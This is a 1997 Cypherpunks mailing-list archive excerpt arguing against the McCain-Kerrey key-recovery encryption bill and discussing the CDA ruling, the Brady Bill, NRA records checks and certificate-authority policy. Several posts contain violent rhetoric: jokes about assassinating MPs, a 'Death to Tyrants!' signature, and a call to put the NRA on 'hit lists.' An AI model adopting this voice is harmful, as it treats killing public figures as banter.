     Kerrey and two other Democrats, was the latest futile attempt 
     in Congress to achieve the impossible: compromise on an issue 
     that fundamentally has no middle ground.
       The issue is encryption, the scrambling of digital 
     information. Try as they might, lawmakers must eventually 
     understand the reality. When it comes to the privacy of 
     personal information in the digital age, we have two simple 
     choices. Either we allow people to encrypt their messages, 
     using scrambling and unscrambling ``keys'' to which only they 
     have access, or we do not.
       Governments are certain that bad people will use encryption 
     to help achieve bad ends. They're right. But their cure would 
     shred our basic liberties.
       So the Clinton administration and its allies--the McCain-
     Kerrey legislation is widely viewed as an administration-
     approved plan--are pushing a policy that would force us to 
     put descrambling keys in the hands of third parties. Then, 
     when law enforcement people wanted to see our communications, 
     they'd simply get the keys from that third party.
       The McCain-Kerrey bill pretends to stop short of that. It 
     would force government agencies to use only electronic 
     hardware and software that included this key-recovery scheme. 
     It would also require the same system for anyone using a 
     network that is funded in any way by federal funds, including 
     virtually all university networks.
       While one section calls the system ``voluntary'' for 
     private individuals, the rest of the legislation would make 
     it all but impossible to resist. Hardware and software 
     companies, which so far have resisted the government's moves, 
     will be much more likely to simply give in and build this 
     key-recovery method into all of their products if they have 
     to build it into ones bought by the government. Consumers 
     need options, not monolithic products.
       Another section of the bill would, in effect, require even 
     private citizens to use such software--and therefore give 
     their keys to the third parties--if they want to buy anything 
     online. People tend to use what they have in front of them.
       There's nothing wrong with the idea of letting a third 
     party hold onto a descrambling key in certain cases. As 
     former White House official Jock Gill noted recently on an 
     Internet mailing list, all government communications should 
     use such a system so the public can keep an eye on what the 
     government is doing in our name and with our money. We'll 
     need to create a system, of course, where such oversight 
     doesn't end up forcing the public to use exactly the same 
     technology for its own encryption needs--or at least keep 
     private keys out of the hands of centralized third parties.
       Companies, meanwhile, will need to hold onto the business-
     related keys of employees, so that vital records won't be 
     lost when someone leaves or dies. But I can't think of many 
     companies that will be happy about giving the vault keys to 
     third parties they can't control.
       Private citizens also should consider giving their keys to 
     trusted third parties, just as they give their house keys to 
     neighbors when on vacation trips. I intend to do just that--
     but it's none of the government's business who gets my 
     personal encryption key. I need strong encryption, as the 
     digital age arrives, because more and more of my life will 
     exist on these public networks.
       The practical difficulties of setting up a centralized key-
     recovery system are immense. Even if it could be done, I 
     would never trust such a government-run system to be even 
     remotely secure from corruption. I remember the Social 
     Security employees who sold personal information to 
     outsiders. I've also seen too much evidence that governments 
     tend to abuse liberties when they have too much power--and 
     the McCain-Kerrey bill would allow virtually anyone at any 
     level of law enforcement to have access to private 
     information on the flimsiest pretext, not even requiring a 
     court order.
       Kerrey's participation in this latest travesty is sad. He 
     needs no lessons in courage. He lost part of a leg in 
     Vietnam. Later, as he stood up to the know-nothings who would 
     ban flag-burning, he noted that our strength comes partly 
     from our ability to express ourselves even in ways that 
     offend many others.
       Now, however, Kerrey is aligning himself with a much more 
     dangerous crowd of know-nothings: those who'd ban our right 
     to keep private information private. He may believe this is 
     about finding common ground; if so, someone has fed him 
     falsehoods. His proposal, if enacted, would create the worst 
     invasion of our fundamental liberty in many decades.
       If you care even slightly about your privacy in the future, 
     pick up a pen today and write your Senators and member of the 
     House of Representatives. Tell them to reject the Clinton-
     McCain-Kerrey approach. Tell them you value your privacy and 
     won't give it up without a fight. And remind them that you 
     vote.

     

                          ____________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 27 Jun 1997 15:49:20 +0800
To: frantz@netcom.com
Subject: Re: Flag Burning...
Message-ID: <199706270740.AAA28515@f26.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





----Original Message Follows----
>From frantz@netcom.com Thu Jun 26 22:35:59 1997
Received: from [207.94.249.169] (sjc-ca4-09.ix.netcom.com 
[207.94.249.137]) by netcom10.netcom.com (8.6.13/Netcom)
	id WAA26602; Thu, 26 Jun 1997 22:35:57 -0700
X-Sender: frantz@netcom10.netcom.com
Message-Id: <v03007819afd8ffd2c03f@[207.94.249.169]>
In-Reply-To: <199706251146.EAA14923@f48.hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 26 Jun 1997 22:29:56 -0700
To: "David Downey" <digital_matrix@hotmail.com>, nicol@highway1.com.au
From: Bill Frantz <frantz@netcom.com>
Subject: Re: Flag Burning...

Yet she's only as rich as the poorest of the poor,
Only as free as a padlocked prison door,
Only as strong as our love for this land,
Only as tall as we stand.

                               - Phil Ochs


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- 
Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, 
USA
=====================================================================

As we say in the Army, "Damn Skippy!"  While it makes me angry that 
governments commit some of the atrocities that the first 2 lines cause 
to spring to mind, It is the last 2 lines that define what makes a 
country great or small. 

Though referenced by it's government, a country is defined by it's 
people. For it is not it's government that makes a country, but it's 
people. The government is just a place to put the useless. :-)





---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 27 Jun 1997 16:02:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Flag Burning...
Message-ID: <199706270752.AAA26735@f33.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





>Date: Thu, 26 Jun 1997 22:29:56 -0700
>To: "David Downey" <digital_matrix@hotmail.com>, nicol@highway1.com.au
>From: Bill Frantz <frantz@netcom.com>
>Subject: Re: Flag Burning...
>
>Yet she's only as rich as the poorest of the poor,
>Only as free as a padlocked prison door,
>Only as strong as our love for this land,
>Only as tall as we stand.
>
>                               - Phil Ochs
>
>
>-------------------------------------------------------------------------
>Bill Frantz       | The Internet was designed  | Periwinkle -- 
Consulting
>(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
>frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, 
USA
>
>
>
As we say in the army, "Damn Skippy!" 

===========================================================
Though referenced by it's government, a country is defined 
by it's people. For it is not it's government that makes a 
country, but it's people. The government is just a place to 
put the useless. :-)   God does have a sense of humor.... 
He forgave our sins, and gave us government for penance! 
-----------------------------------------------------------

Type Bits/KeyID    Date       User ID
pub  2048/1D9A78C1 1997/06/11 Case@EarthCorp.com

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---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 27 Jun 1997 16:31:03 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
Message-ID: <199706270821.BAA11065@f52.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: geeman@best.com
>Date: Thu, 26 Jun 1997 23:33:27 -0700
>To: cypherpunks@algebra.com
>Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
>
>Check our new domain names!
>http://www.netforward.com
>v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v
>  Earlier this week, Mr. Dan Gillmore, columnist for the San Jose 
>Mercury News discussed the problems with S. 909 and strongly urged a 
>rejection of the McCain-Kerrey approach. I submit his column into the 
>Congressional Record.
>
>            [From the San Jose Mercury News, June 23, 1997]
>
>          Encryption Bill: Federal Exercise in Self-Deception
>
>                            (By Dan Gillmor)
>
>       As a bill bearing his name zipped last week through the 
>     Senate Commerce Committee he heads, Arizona Republican John 
>     McCain said, ``This bill carefully seeks to balance the 
>     concerns of law enforcement with individual privacy 
>     concerns.''
>       The legislation, co-sponsored by Nebraska Democrat Bob 
>     Kerrey and two other Democrats, was the latest futile attempt 
>     in Congress to achieve the impossible: compromise on an issue 
>     that fundamentally has no middle ground.
>       The issue is encryption, the scrambling of digital 
>     information. Try as they might, lawmakers must eventually 
>     understand the reality. When it comes to the privacy of 
>     personal information in the digital age, we have two simple 
>     choices. Either we allow people to encrypt their messages, 
>     using scrambling and unscrambling ``keys'' to which only they 
>     have access, or we do not.
>       Governments are certain that bad people will use encryption 
>     to help achieve bad ends. They're right. But their cure would 
>     shred our basic liberties.

Do ya really think the powers that be really care? Let's hope they do!

>       So the Clinton administration and its allies--the McCain-
>     Kerrey legislation is widely viewed as an administration-
>     approved plan--are pushing a policy that would force us to 
>     put descrambling keys in the hands of third parties. Then, 
>     when law enforcement people wanted to see our communications, 
>     they'd simply get the keys from that third party.
>       The McCain-Kerrey bill pretends to stop short of that. It 
>     would force government agencies to use only electronic 
>     hardware and software that included this key-recovery scheme. 
>     It would also require the same system for anyone using a 
>     network that is funded in any way by federal funds, including 
>     virtually all university networks.

Seems inherently dangerous to me, everything about you is on a system or 
systems somewhere, and most of them have used federal funds in their 
startup and continue to use them. Doesn't that grant the governments 
almost total access to your past present and future? I KNOW I don't want 
ANYONE having THAT much access to my life. What I don't understand is 
what makes them tjink we'll just roll over and accept this without a 
fight?

>       While one section calls the system ``voluntary'' for 
>     private individuals, the rest of the legislation would make 
>     it all but impossible to resist. Hardware and software 
>     companies, which so far have resisted the government's moves, 
>     will be much more likely to simply give in and build this 
>     key-recovery method into all of their products if they have 
>     to build it into ones bought by the government. Consumers 
>     need options, not monolithic products.

Seems to me that that is EXACTLY what the government wants. If they 
can't pass it legally, they figure they'll use economical pressure. 
Hell, they've been doing it to China, Vietnam, Russia and a host of 
others for years! Why shouldn't they apply the concept locally?

>       Another section of the bill would, in effect, require even 
>     private citizens to use such software--and therefore give 
>     their keys to the third parties--if they want to buy anything 
>     online. People tend to use what they have in front of them.

Isn't control of the economy too powerful of a tool for the government? 
Can anyone hear the whistling? It's the sound of the government sword 
slicing through our pocketbooks and into our liberties and rights.

>       There's nothing wrong with the idea of letting a third 
>     party hold onto a descrambling key in certain cases. As 
>     former White House official Jock Gill noted recently on an 
>     Internet mailing list, all government communications should 
>     use such a system so the public can keep an eye on what the 
>     government is doing in our name and with our money. We'll 
>     need to create a system, of course, where such oversight 
>     doesn't end up forcing the public to use exactly the same 
>     technology for its own encryption needs--or at least keep 
>     private keys out of the hands of centralized third parties.
>       Companies, meanwhile, will need to hold onto the business-
>     related keys of employees, so that vital records won't be 
>     lost when someone leaves or dies. But I can't think of many 
>     companies that will be happy about giving the vault keys to 
>     third parties they can't control.
>       Private citizens also should consider giving their keys to 
>     trusted third parties, just as they give their house keys to 
>     neighbors when on vacation trips. I intend to do just that--
>     but it's none of the government's business who gets my 
>     personal encryption key. I need strong encryption, as the 
>     digital age arrives, because more and more of my life will 
>     exist on these public networks.

Yeah, and how many of them does the government have pull with? Quite a 
few considering that they back most corporate companies with tax dollars 
and schools with federal grants.

>       The practical difficulties of setting up a centralized key-
>     recovery system are immense. Even if it could be done, I 
>     would never trust such a government-run system to be even 
>     remotely secure from corruption. I remember the Social 
>     Security employees who sold personal information to 
>     outsiders. I've also seen too much evidence that governments 
>     tend to abuse liberties when they have too much power--and 
>     the McCain-Kerrey bill would allow virtually anyone at any 
>     level of law enforcement to have access to private 
>     information on the flimsiest pretext, not even requiring a 
>     court order.

This is starting to sound like the beginnings of a Martial State. Slowly 
control the population in every aspect of their lives and when you have 
enough control, who's gonna fight you when you really start cracking the 
whip? If you control everything that affects their lives, NO ONE! 
Control their economy, their privacy, their children, and you control 
them. Even better, get them to help you in the names of their children, 
their rights, and make them feel like thy are in greatr danger that they 
actually are and they'll just hand you the reins!  Hmmmmmm... doesn't 
this sound like our current situation??


>     Kerrey's participation in this latest travesty is sad. He 
>     needs no lessons in courage. He lost part of a leg in 
>     Vietnam. Later, as he stood up to the know-nothings who would 
>     ban flag-burning, he noted that our strength comes partly 
>     from our ability to express ourselves even in ways that 
>     offend many others. Now, however, Kerrey is aligning himself    >     
with a much more dangerous crowd of know-nothings: those who'd > >    
ban our right to keep private information private. He may believe >    
this is about finding common ground; if so, someone has fed him 
>     falsehoods. His proposal, if enacted, would create the worst 
>     invasion of our fundamental liberty in many decades.

How many times have we watched the better part of valiant, couragous, 
and honorable men and women be seduced by power, greed, corruption, and 
just plain old not thinking straight?

>       If you care even slightly about your privacy in the future, 
>     pick up a pen today and write your Senators and member of the 
>     House of Representatives. Tell them to reject the Clinton-
>     McCain-Kerrey approach. Tell them you value your privacy and 
>     won't give it up without a fight. And remind them that you 
>     vote.

Yes, we vote. Yes, we care. Yes, WE WILL FIGHT!!!  


===========================================================
Though referenced by it's government, a country is defined 
by it's people. For it is not it's government that makes a 
country, but it's people. The government is just a place to 
put the useless. :-)   God does have a sense of humor.... 
He forgave our sins, and gave us government for penance! 
-----------------------------------------------------------

Type Bits/KeyID    Date       User ID
pub  2048/1D9A78C1 1997/06/11 Case@EarthCorp.com

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---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 27 Jun 1997 20:30:07 +0800
To: nicol@highway1.com.au
Subject: Re: Flag Burning...
Message-ID: <199706271220.FAA18706@f61.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



> Obviously not. And 
>> before ya ask what that has to do with it, let me just say now...
>> It's like riding a Harley, if we have to explain it to you, you 
wouldn't 
>> understand.
>
>That, my friend, is pissweak.  "I understand, but you CANT because I 
>am better than you . . . "  Get a life, learn to communicate 
>effectively.  
>
>
>
>
>Neter Picol
>Global Media Magnet
>godhead@vrl.com.au
>
>"Two daughters of a silk merchant live it Kyoto,
>The elder is twenty, the younger, eighteen.
>A soldier may kill with his sword,
>But these girls slay men with their eyes."
=================================================================

THAT, my friend, just ended ANY chance of coomunication between the two 
of us. When you start thinking you are better than someone else, you 
have stepped over the line.  BTW, the spelling for dood is D U D E! 
Learn to spell before you start thinking you're better than anyone else. 
Baby steps, baby steps! And as to the imperialist comment. Give it a 
rest, folks have been saying that for years. Ever heard of dancing to 
your OWN beat. Give the badwagon some room. Too many on it as it is now. 
And as for me getting a life. I have one. I live in America! :-)

===========================================================
Though referenced by it's government, a country is defined 
by it's people. For it is not it's government that makes a 
country, but it's people. The government is just a place to 
put the useless. :-)   God does have a sense of humor.... 
He forgave our sins, and gave us government for penance! 
-----------------------------------------------------------

Type Bits/KeyID    Date       User ID
pub  2048/1D9A78C1 1997/06/11 Case@EarthCorp.com

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---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "hs" <hs@technologist.com>
Date: Fri, 27 Jun 1997 13:16:09 +0800
To: "cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199706270459.AAA15625@ren.globecomm.net>
MIME-Version: 1.0
Content-Type: text/plain









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 27 Jun 1997 22:36:00 +0800
To: cypherpunks@toad.com
Subject: All Tomorrow's Parties -- CDA II -- from the Netly News
Message-ID: <Pine.GSO.3.95.970627071621.24915C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 27 Jun 1997 07:15:50 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: All Tomorrow's Parties -- CDA II -- from the Netly News



http://cgi.pathfinder.com/netly/opinion/0,1042,1113,00.html

The Netly News
June 26, 1997

All Tomorrow's Parties
by Team Netly (thenetlynews@pathfinder.com)

The fun-loving "trolls" of Bianca's Smut Shack
celebrated today's Communications Decency Act
ruling by sleeping in. Christopher Miller and
David Thau stumbled awake at 10:10 am today,
just in time to read the decision that said it
was legal to post "indecent" material on your
web site -- something clearly important to the
Biancanauts, who are travelling cross-country in
a psychedelic RV commemorating the summer of
love.

"It's kind of weird to celebrate the overturning
of something that's clearly unconstitutional,
but of course we have something to celebrate
because it's going to keep us from jail," said
Thau.

The celebration may be premature. The CDA II,
after all, is expected to crawl out of the grave
like a flesh-dripping zombie. But you'd never
know it from the high-bandwidth rhetoric that
flooded the Net today after the Supreme Court
decision.

The Electronic Privacy Information Center cried
that "today's opinion defines the First
Amendment for the next century." Histrionics
also were flying furiously around San
Francisco's South Park, where the faithful
rallied. "The Internet freedom fighters are as
strong as the students at Tiananmen Square,"
said the Electronic Frontier Foundation's Mike
Godwin -- to a crowd composed almost entirely of
journalists. "Today is the first day of the new
American Revolution, the Digital Revolution.."
(A phrase that happens to be trademarked by
Wired, a sponsor of the rally.)

The victorious shouts of the way-new stalwarts
were matched by the angry screams of the
censor-happy CDA supporters. "The safety net is
gone," says Donna Rice-Hughes, communication
director for Enough Is Enough. "There is no law
against an adult sending a naked picture of
himself to a child over the Internet or through
e-mail."

If Rice-Hughes has her way, the high court's
decision to drive a stake through the heart of
the much-reviled law will mean the threat to
free speech online has expired only for a while.

"Frankly, this ruling provides a road map on how
to more specfically draft legislation," says
Heidi Stirrup, director of government relations
for the Christian Coalition. "Our beleaguered
American family has been put on notice by the
Court that it will do nothing to help the family
even when the president and Congress work
together against a problem that everyone says is
bad -- providing indecent material to children."

This isn't entirely true. The ruling -- which
talked of "vast democratic fora" online -- does
not mean that the Internet is now a free-speech
zone where anything goes. After all, the CDA
only restricted "indecent" materials, an
undefined category that could include art,
literature, even humor and sex ed. materials.
Distributing obscenity -- sexual works without
"redeeming value" -- will remain a crime. The
Court noted this in its ruling today:
"Transmitting obscenity and child pornography,
whether via the Internet or other means, is
already illegal under federal law for both
adults and juveniles."

President Clinton, who endorsed the act, also
vowed not to give up. "We can and must develop a
solution for the Internet that is as powerful
for the computer as the v-chip will be for the
television, and that protects children in ways
that are consistent with America's free speech
values," he said.

"We're certainly going to support Congress'
efforts to develop another bill to protect kids.
They're not going to stop and we're going to
help them to do it," says Bruce Taylor,
president of the National Law Center for
Children and Families.

Taylor predicts that a CDA II might stress
labelling all your web pages with PICS or RSACi
if you want to stay out of jail: "Remember I
told you nobody's going to do PICS? It's a
monster nobody wants to feed. Who's going to
rate 10 zillion web sites?"

Well, nobody -- unless you force people to use
it.

Which is what some members of Congress are
trying. Sen. Patty Murray (D-Wash.) is preparing
to introduce a bill that will try to convince a
dubious public to rate its pages with RSACi, a
self-rating system backed by Microsoft. (A
company which, just coincidentally, is
headquartered in her state.) Nevermind that even
MSNBC stopped ratings its pages with RSACi
because the system proved unworkable for news
sites.

Murray's proposed bill, called the "Childsafe
Internet Act of 1997," says someone who
"includes a rating" on their site "may not be
held liable" for "any material on the site that
is unsuitable for minors." That's the carrot.

Then the stick: you can't post material
"unsuitable for minors" on a site that's rated
for kids. "Whoever accesses a site on the
Internet rated by the person establishing the
site as having no material unsuitable for minors
and knowingly makes available on or through the
site any comment, request, suggestion, proposal,
image, or other material unsuitable for minors,
shall be imprisoned... for not more than two
years," the bill says.

The constitutionality of such legislation was
affirmed in today's minority opinion of Justices
O'Connor and Rehnquist, in which they talk of
"zoning laws" for the Internet. Real world
zoning laws are what keep children out of porno
stores and require buildings to be
wheelchair-accessible. These laws passed
constitutional muster long ago, and the
underlying intent of the CDA was largely to
shield minors from indecent material. Trouble
is, Internet technology isn't yet capable of
ensuring the existence of adult-only zones. Yet.

Thus argued O'Connor: "Until gateway technology
is available throughout cyberspace, and it is
not in 1997, a speaker cannot be reasonably
assured that the speech he displays will reach
only adults because it is impossible to confine
speech to an 'adult zone.'"

What all this means is Congressional attempts to
pass another law to muzzle the Net won't need to
be a flat ban on "indecency." Rather, they'll
rely on PICS and RSACi. (Ironically, a
technology designed to head off the CDA might be
the linchpin of CDA II.) Next month President
Clinton plans to meet with industry leaders in
much the same way he met with broadcast
executives last year and came up with a V-Chip.
His goal this time: to do the same for the Net.

Meanwhile, slap-happy netizens will probably
still be partying down -- the D.C.-based CIEC
folks are hanging out in the 18th Street Lounge
right now -- basking in the high court's warm
and fuzzy afterglow, and happily smoking a bowl
of their own rhetoric.

###








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 00:47:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <3.0.32.19970626233120.006c04f4@best.com>
Message-ID: <v0310280aafd99b7a9d15@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I also applaud what my local Congresscritterwoman says, and especially her
quotation of the Dan Gillmor column from the local Silicon Valley
newspaper. I saw this colum several days ago and was impressed, especially
by the quote I include below.

At 11:33 PM -0700 6/26/97, geeman@best.com wrote:
>[Congressional Record: June 25, 1997 (Extensions)]
>[Page E1320]
>>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
...
>  Ms. LOFGREN. Mr. Speaker, last week the Senate Commerce Committee
>reported a bill, S. 909, sponsored by Senators McCain and Kerrey, which
...
>            [From the San Jose Mercury News, June 23, 1997]
>
>          Encryption Bill: Federal Exercise in Self-Deception
>
>                            (By Dan Gillmor)
....
>       Governments are certain that bad people will use encryption
>     to help achieve bad ends. They're right. But their cure would
>     shred our basic liberties.

This is the point I make to people who ask about the "bad" things crypto
will make possible. I say "Of course it will."

Then I go on to cite the same "bad" things that curtains on windows make
possible, that locks on doors make possible, that private hotel rooms make
possible, that whispers make possible, and that privacy in general makes
possible.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 01:04:33 +0800
To: cypherpunks@toad.com
Subject: "Wired" is trademarking the future?
In-Reply-To: <Pine.GSO.3.95.970627071621.24915C-100000@well.com>
Message-ID: <v0310280bafd99e263da7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:16 AM -0700 6/27/97, Declan McCullagh wrote:

>journalists. "Today is the first day of the new
>American Revolution, the Digital Revolution.."
>(A phrase that happens to be trademarked by
>Wired, a sponsor of the rally.)

I really hope Declan is kidding when he says this phrase, or parts of it,
or some variant of it, is "trademarked" by "Wired." If so, we're in deep
shit.

(A phrase trademarked by the Nixon Administration, 1972.)

"Wired" seems increasingly to think it owns the birthright of the Net and
all that came from it.

I wonder if someone has claimed trademark on any of these expressions:

"Big Brother Inside"

"Four Horsemen of the Infocalypse"

"National borders are only speed bumps on the information superhighway"

"citizen-unit"

"BlackNet"

"crypto anarchy"


--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <billstewart@att.com>
Date: Sat, 28 Jun 1997 03:45:20 +0800
To: cypherpunks@toad.com
Subject: Interesting Supreme Court decision on Brady Bill at http://supct.law.cornell.edu/supct/html/95-1478.ZS.html
Message-ID: <33B4123C.41BB@att.com>
MIME-Version: 1.0
Content-Type: text/plain



http://supct.law.cornell.edu/supct/html/95-1478.ZS.html
A messy 5-4 decision, with two concurrences and three dissents.

Overturns the part of the Brady Bill that forces local officials
to perform some of the administrative functions.
Lots of complex commentary.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Fri, 27 Jun 1997 23:32:46 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb Making Info to be Illegal
Message-ID: <19970627124927.25408.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain




Paul Bradley <paul@fatmans.demon.co.uk> wrote:
>I think I 
>may, if I have some time in the next few days, put together a quick 
>website telling people the best fish to use etc. and inciting them to use 
>this as a method of assasinating MPs...

  Surely oranges would be a better choice for MPs? Hell, dress them
up in stockings and suspenders first and they'd probably write it off
as accidental death.

OrangeMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 04:13:05 +0800
To: cypherpunks@Algebra.COM
Subject: NRA and National Online Records Check bullshit
In-Reply-To: <33B4123C.41BB@att.com>
Message-ID: <v0310280eafd9cb27d087@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:19 PM -0700 6/27/97, Bill Stewart wrote:
>http://supct.law.cornell.edu/supct/html/95-1478.ZS.html
>A messy 5-4 decision, with two concurrences and three dissents.
>
>Overturns the part of the Brady Bill that forces local officials
>to perform some of the administrative functions.
>Lots of complex commentary.

And Friends of Liberty (assuming that is not a trademarked property of
Wired , Explorers  of the Digital Frontier  and Cyberspace ) should not
be supporting the National Rifle Association proposal, either.

One of the reasons I quit the NRA was there strong support, indeed, their
strong lobbying for, a "national on-line records check." The idea is that
if Joe Blow purchases a gun in Skokie, Illinois, the computerized national
data base would flag that he's some sort of criminal, whether major or
minor, in some other state.

This national data base would undoubtedly be cross-indexed by SS numbers,
aliases, etc.

Partial data bases like this already exist, of course, a la the NCIC. This
would take us further in the direction of a national dossier system.

And the "while you wait" system, which would lead to, "Sorry, sir, your
application to purchase a handgun has been declined" sorts of events, also
means that vastly more people will be making queries of this system.

My solution is simple: no checks whatsoever. If someone commits a crime,
lock him or her up or shoot them, or whatever. But once the penalty is
over, all normal rights return. The right to vote, the right to free
speech, the right to own weapons, etc.

(Somehow most people think it's OK that convicted felons lose their rights
to vote and to have guns. (Once they're released, of course.) Do they think
convicted felons no longer have religious freedom? Can no longer write as
they wish? Jeesh.)

The National Rifle Association has become a den of statist compromisers. It
should be added to any hit lists.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 28 Jun 1997 04:32:45 +0800
To: Tim May <tcmay@got.net>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v0310280eafd9cb27d087@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970627131625.22839D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 27 Jun 1997, Tim May wrote:

> This national data base would undoubtedly be cross-indexed by SS numbers,
> aliases, etc.
> 
> Partial data bases like this already exist, of course, a la the NCIC. This
> would take us further in the direction of a national dossier system.
> 
> And the "while you wait" system, which would lead to, "Sorry, sir, your
> application to purchase a handgun has been declined" sorts of events, also
> means that vastly more people will be making queries of this system.

I expect it will be extended further on down the line.  "Hold on a for a
few minutes.  We seem to be having some problem with your records check."
Meanwhile, the local/state/federal/illuminati are on their way to
apprehend the miscreant.

> My solution is simple: no checks whatsoever.

I agree.  Guns should be paid for in cash.

> If someone commits a crime,
> lock him or her up or shoot them, or whatever. But once the penalty is
> over, all normal rights return. The right to vote, the right to free
> speech, the right to own weapons, etc.
> 
> (Somehow most people think it's OK that convicted felons lose their rights
> to vote and to have guns. (Once they're released, of course.) Do they think
> convicted felons no longer have religious freedom? Can no longer write as
> they wish? Jeesh.)

I find it interesting that they find the right to vote as dangerous as the
right to own a gun.  

"If owning a gun could change the system, it would be outlawed."

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 28 Jun 1997 04:42:58 +0800
To: pooh@efga.org
Subject: Re: Secure Authentication
In-Reply-To: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
Message-ID: <199706272026.NAA07580@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert A. Costner writes:
> Electronic Frontiers Georgia is forming a working group on Secure
> Authentication Methodologies.  This is the procedure for verifying who really
> owns the public key that has been placed in a database repository, or
> Certification Authority (CA).  Issues at question are not only the technical
> considerations, but also concerns of privacy, consumer protection, and
> legality.  Questions have arisen as to whether to use picture ID, notary
> publics, existing databases, and governments to enforce secure
> authentication.  Another question that has been raised is secure
> authentication possible at all?

And another question is should government be involved at all?
My answer to that is no, not for the setting of CA policy.

It should be up to the CA, as published in their policy, what
authentication if any they perform in order to issue a certificate.
There is a need for certificates that are closely tied to someone's True Name
and there is a need for certificates that do nothing except verify
that a given email address is unique in that CA's list.

I would oppose any laws that require a certain level of
"secure authentication" of CAs.  Especially since, as your question
hints, there IS no secure authentication available to all citizens-
drivers licenses and birth certificates and Social Security cards
are all readily forged.  All authentication is relative.

I would not be opposed to laws that penalized a CA for breaking
the terms of its published policy.  However I expect that existing
contract law would cover that, since the policy is essentially a
contract between the CA and the cert issuee.

The biggest problem with CAs and the law is legal liability.  The liability
of being a CA is currently unknown until there is case law on the topic.
I think that one way of looking at CA liability would be to consider it
